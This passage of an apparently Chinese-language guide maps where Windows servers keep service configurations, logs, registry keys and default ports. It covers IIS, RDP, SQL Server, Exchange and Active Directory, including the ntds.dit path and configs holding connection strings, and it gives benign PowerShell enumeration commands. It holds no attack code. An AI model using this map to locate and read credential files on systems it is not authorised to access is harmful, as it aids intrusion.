&lt;li&gt;主配置: &lt;code&gt;C:\Windows\System32\inetsrv\config\applicationHost.config&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;站点配置: &lt;code&gt;C:\inetpub\wwwroot\web.config&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;应用程序配置: 各站点目录下的 &lt;code&gt;web.config&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看IIS监听的端口、绑定的域名和虚拟目录配置&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关键配置节点&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;sites&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;site&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Default Web Site&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;1&amp;#34;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;bindings&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;binding&lt;/span&gt; &lt;span class="na"&gt;protocol=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;http&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;bindingInformation=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;*:80:&amp;#34;&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;binding&lt;/span&gt; &lt;span class="na"&gt;protocol=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;https&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;bindingInformation=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;*:443:&amp;#34;&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/bindings&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/site&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;/sites&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="42-iis-日志文件"&gt;4.2. IIS 日志文件
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;默认路径&lt;/strong&gt;: &lt;code&gt;C:\inetpub\logs\LogFiles\&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 分析访问记录、连接来源和请求模式&lt;/p&gt;
&lt;h2 id="5-远程桌面服务-rdp"&gt;5. 远程桌面服务 (RDP)
&lt;/h2&gt;&lt;h3 id="51-rdp-配置"&gt;5.1. RDP 配置
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;注册表路径&lt;/strong&gt;: &lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重要键值&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;fDenyTSConnections&lt;/code&gt;: 0=允许RDP连接, 1=禁用&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PortNumber&lt;/code&gt;: RDP监听端口(默认3389)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注册表路径&lt;/strong&gt;: &lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看RDP服务是否启用及监听端口&lt;/p&gt;
&lt;h2 id="6-数据库服务配置-1"&gt;6. 数据库服务配置
&lt;/h2&gt;&lt;h3 id="61-microsoft-sql-server"&gt;6.1. Microsoft SQL Server
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;配置文件路径&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SQL Server 2019: &lt;code&gt;C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Binn\&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;配置管理器: SQL Server Configuration Manager&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注册表路径&lt;/strong&gt;: &lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;日志路径&lt;/strong&gt;: &lt;code&gt;C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Log\&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看SQL Server监听端口(默认1433)和实例配置&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;常用命令&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-Service&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;Where-Object&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Name&lt;/span&gt; &lt;span class="o"&gt;-like&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;*SQL*&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="62-mysqlmariadb-windows版本"&gt;6.2. MySQL/MariaDB (Windows版本)
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;配置文件&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;C:\ProgramData\MySQL\MySQL Server 8.0\my.ini&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Program Files\MySQL\MySQL Server 8.0\my.ini&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看MySQL监听端口(默认3306)和绑定地址&lt;/p&gt;
&lt;h3 id="63-postgresql-windows版本"&gt;6.3. PostgreSQL (Windows版本)
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;配置文件&lt;/strong&gt;: &lt;code&gt;C:\Program Files\PostgreSQL\[version]\data\postgresql.conf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看PostgreSQL监听端口和地址&lt;/p&gt;
&lt;h2 id="7-文件共享服务"&gt;7. 文件共享服务
&lt;/h2&gt;&lt;h3 id="71-smbcifs-共享"&gt;7.1. SMB/CIFS 共享
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;查看命令&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-SmbShare&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;net&lt;/span&gt; &lt;span class="n"&gt;share&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;注册表路径&lt;/strong&gt;: &lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Shares&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看共享文件夹配置(使用端口445)&lt;/p&gt;
&lt;h3 id="72-ftp-服务-1"&gt;7.2. FTP 服务
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;IIS FTP配置&lt;/strong&gt;: 包含在 &lt;code&gt;applicationHost.config&lt;/code&gt; 中&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;C:\Windows\System32\inetsrv\config\applicationHost.config&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看FTP站点绑定和端口(默认21)&lt;/p&gt;
&lt;h2 id="8-邮件服务"&gt;8. 邮件服务
&lt;/h2&gt;&lt;h3 id="81-microsoft-exchange-server"&gt;8.1. Microsoft Exchange Server
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;安装路径&lt;/strong&gt;: &lt;code&gt;C:\Program Files\Microsoft\Exchange Server\&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;配置路径&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Program Files\Microsoft\Exchange Server\V15\Bin\&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看Exchange监听的端口:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SMTP: 25&lt;/li&gt;
&lt;li&gt;POP3: 110&lt;/li&gt;
&lt;li&gt;IMAP: 143&lt;/li&gt;
&lt;li&gt;HTTPS (OWA): 443&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="82-smtp-服务"&gt;8.2. SMTP 服务
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;IIS SMTP配置&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;元数据库: &lt;code&gt;C:\Windows\System32\inetsrv\MetaBase.xml&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看SMTP中继配置和端口&lt;/p&gt;
&lt;h2 id="9-dns-服务"&gt;9. DNS 服务
&lt;/h2&gt;&lt;h3 id="91-windows-dns-server"&gt;9.1. Windows DNS Server
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;配置文件路径&lt;/strong&gt;: &lt;code&gt;C:\Windows\System32\dns\&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;区域文件&lt;/strong&gt;: &lt;code&gt;C:\Windows\System32\dns\*.dns&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;日志路径&lt;/strong&gt;: &lt;code&gt;C:\Windows\System32\dns\dns.log&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看DNS区域配置和解析记录(默认端口53)&lt;/p&gt;
&lt;h2 id="10-active-directory-相关"&gt;10. Active Directory 相关
&lt;/h2&gt;&lt;h3 id="101-active-directory-配置"&gt;10.1. Active Directory 配置
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;数据库路径&lt;/strong&gt;: &lt;code&gt;C:\Windows\NTDS\ntds.dit&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;日志路径&lt;/strong&gt;: &lt;code&gt;C:\Windows\debug\netlogon.log&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重要端口&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;LDAP: 389&lt;/li&gt;
&lt;li&gt;LDAPS: 636&lt;/li&gt;
&lt;li&gt;Global Catalog: 3268, 3269&lt;/li&gt;
&lt;li&gt;Kerberos: 88&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注册表路径&lt;/strong&gt;: &lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters&lt;/code&gt;&lt;/p&gt;
&lt;h3 id="102-组策略对象-gpo"&gt;10.2. 组策略对象 (GPO)
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;C:\Windows\SYSVOL\domain\Policies\&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 可能包含网络配置、防火墙规则等策略&lt;/p&gt;
&lt;h2 id="11-web应用服务器"&gt;11. Web应用服务器
&lt;/h2&gt;&lt;h3 id="111-apache-windows版本"&gt;11.1. Apache (Windows版本)
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;配置文件&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;主配置: &lt;code&gt;C:\Apache24\conf\httpd.conf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;虚拟主机: &lt;code&gt;C:\Apache24\conf\extra\httpd-vhosts.conf&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看Apache监听的端口和虚拟主机配置&lt;/p&gt;
&lt;h3 id="112-tomcat"&gt;11.2. Tomcat
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;配置文件&lt;/strong&gt;: &lt;code&gt;C:\Program Files\Apache Software Foundation\Tomcat 9.0\conf\server.xml&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看Tomcat监听端口(默认8080, 8443)&lt;/p&gt;
&lt;h3 id="113-nginx-windows版本"&gt;11.3. nginx (Windows版本)
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;配置文件&lt;/strong&gt;: &lt;code&gt;C:\nginx\conf\nginx.conf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看nginx监听端口和服务器配置&lt;/p&gt;
&lt;h2 id="12-应用程序配置"&gt;12. 应用程序配置
&lt;/h2&gt;&lt;h3 id="121-net-应用程序"&gt;12.1. .NET 应用程序
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;配置文件&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;web.config&lt;/code&gt; (Web应用)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;app.config&lt;/code&gt; (桌面应用)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;appsettings.json&lt;/code&gt; (.NET Core)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;常见位置&lt;/strong&gt;: 应用程序根目录&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 可能包含数据库连接字符串、API端点等信息&lt;/p&gt;
&lt;h3 id="122-java-应用程序"&gt;12.2. Java 应用程序
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;配置文件&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;application.properties&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;application.yml&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;server.xml&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看应用监听端口和服务配置&lt;/p&gt;
&lt;h2 id="13-vpn和远程访问"&gt;13. VPN和远程访问
&lt;/h2&gt;&lt;h3 id="131-rras-routing-and-remote-access-service"&gt;13.1. RRAS (Routing and Remote Access Service)
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;注册表路径&lt;/strong&gt;: &lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteAccess&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;配置文件&lt;/strong&gt;: 通过远程访问管理控制台配置&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看VPN配置和端口:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PPTP: 1723&lt;/li&gt;
&lt;li&gt;L2TP: 1701&lt;/li&gt;
&lt;li&gt;IKEv2: 500, 4500&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="132-vpn连接配置"&gt;13.2. VPN连接配置
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;C:\Users\[Username]\AppData\Roaming\Microsoft\Network\Connections\Pbk\rasphone.pbk&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看保存的VPN连接配置&lt;/p&gt;
&lt;h2 id="14-系统服务和端口"&gt;14. 系统服务和端口
&lt;/h2&gt;&lt;h3 id="141-服务列表"&gt;14.1. 服务列表
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;注册表路径&lt;/strong&gt;: &lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;查看命令&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-Service&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;sc &lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 列出所有已安装的服务,识别网络服务&lt;/p&gt;
&lt;h3 id="142-启动程序"&gt;14.2. 启动程序
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;注册表路径&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;文件系统路径&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 可能包含自动启动的网络服务或后门程序&lt;/p&gt;
&lt;h2 id="15-日志文件"&gt;15. 日志文件
&lt;/h2&gt;&lt;h3 id="151-windows事件日志"&gt;15.1. Windows事件日志
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;访问方式&lt;/strong&gt;: 事件查看器 (eventvwr.msc)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;日志位置&lt;/strong&gt;: &lt;code&gt;C:\Windows\System32\winevt\Logs\&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重要日志&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Security.evtx&lt;/code&gt;: 安全审计日志&lt;/li&gt;
&lt;li&gt;&lt;code&gt;System.evtx&lt;/code&gt;: 系统事件日志&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Application.evtx&lt;/code&gt;: 应用程序日志&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;PowerShell命令&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-EventLog&lt;/span&gt; &lt;span class="n"&gt;-LogName&lt;/span&gt; &lt;span class="n"&gt;Security&lt;/span&gt; &lt;span class="n"&gt;-Newest&lt;/span&gt; &lt;span class="mf"&gt;100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-WinEvent&lt;/span&gt; &lt;span class="n"&gt;-LogName&lt;/span&gt; &lt;span class="n"&gt;Security&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 分析登录尝试、服务启动、网络连接等事件&lt;/p&gt;
&lt;h3 id="152-iis日志"&gt;15.2. IIS日志
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;C:\inetpub\logs\LogFiles\W3SVC1\&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: Web访问日志,包含IP地址、请求URI、状态码等&lt;/p&gt;
&lt;h3 id="153-防火墙日志"&gt;15.3. 防火墙日志
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;C:\Windows\System32\LogFiles\Firewall\pfirewall.log&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 记录防火墙阻止或允许的连接&lt;/p&gt;
&lt;h2 id="16-常用powershell和cmd命令"&gt;16. 常用PowerShell和CMD命令
&lt;/h2&gt;&lt;h3 id="161-查看网络连接和监听端口"&gt;16.1. 查看网络连接和监听端口
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 查看所有TCP连接和监听端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;netstat&lt;/span&gt; &lt;span class="n"&gt;-ano&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;netstat&lt;/span&gt; &lt;span class="n"&gt;-ano&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;findstr&lt;/span&gt; &lt;span class="n"&gt;LISTENING&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 使用PowerShell查看&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-NetTCPConnection&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-NetTCPConnection&lt;/span&gt; &lt;span class="n"&gt;-State&lt;/span&gt; &lt;span class="n"&gt;Listen&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 查看UDP端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-NetUDPEndpoint&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;输出示例&lt;/strong&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 1000
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 1234
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="162-查看运行的进程"&gt;16.2. 查看运行的进程
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 查看所有进程&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-Process&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;tasklist&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 查看特定端口的进程&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;netstat&lt;/span&gt; &lt;span class="n"&gt;-ano&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;findstr&lt;/span&gt; &lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-Process&lt;/span&gt; &lt;span class="n"&gt;-Id&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;PID&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="163-查看已安装的程序和服务"&gt;16.3. 查看已安装的程序和服务
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 查看已安装程序&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-WmiObject&lt;/span&gt; &lt;span class="n"&gt;-Class&lt;/span&gt; &lt;span class="n"&gt;Win32_Product&lt;/span&gt;
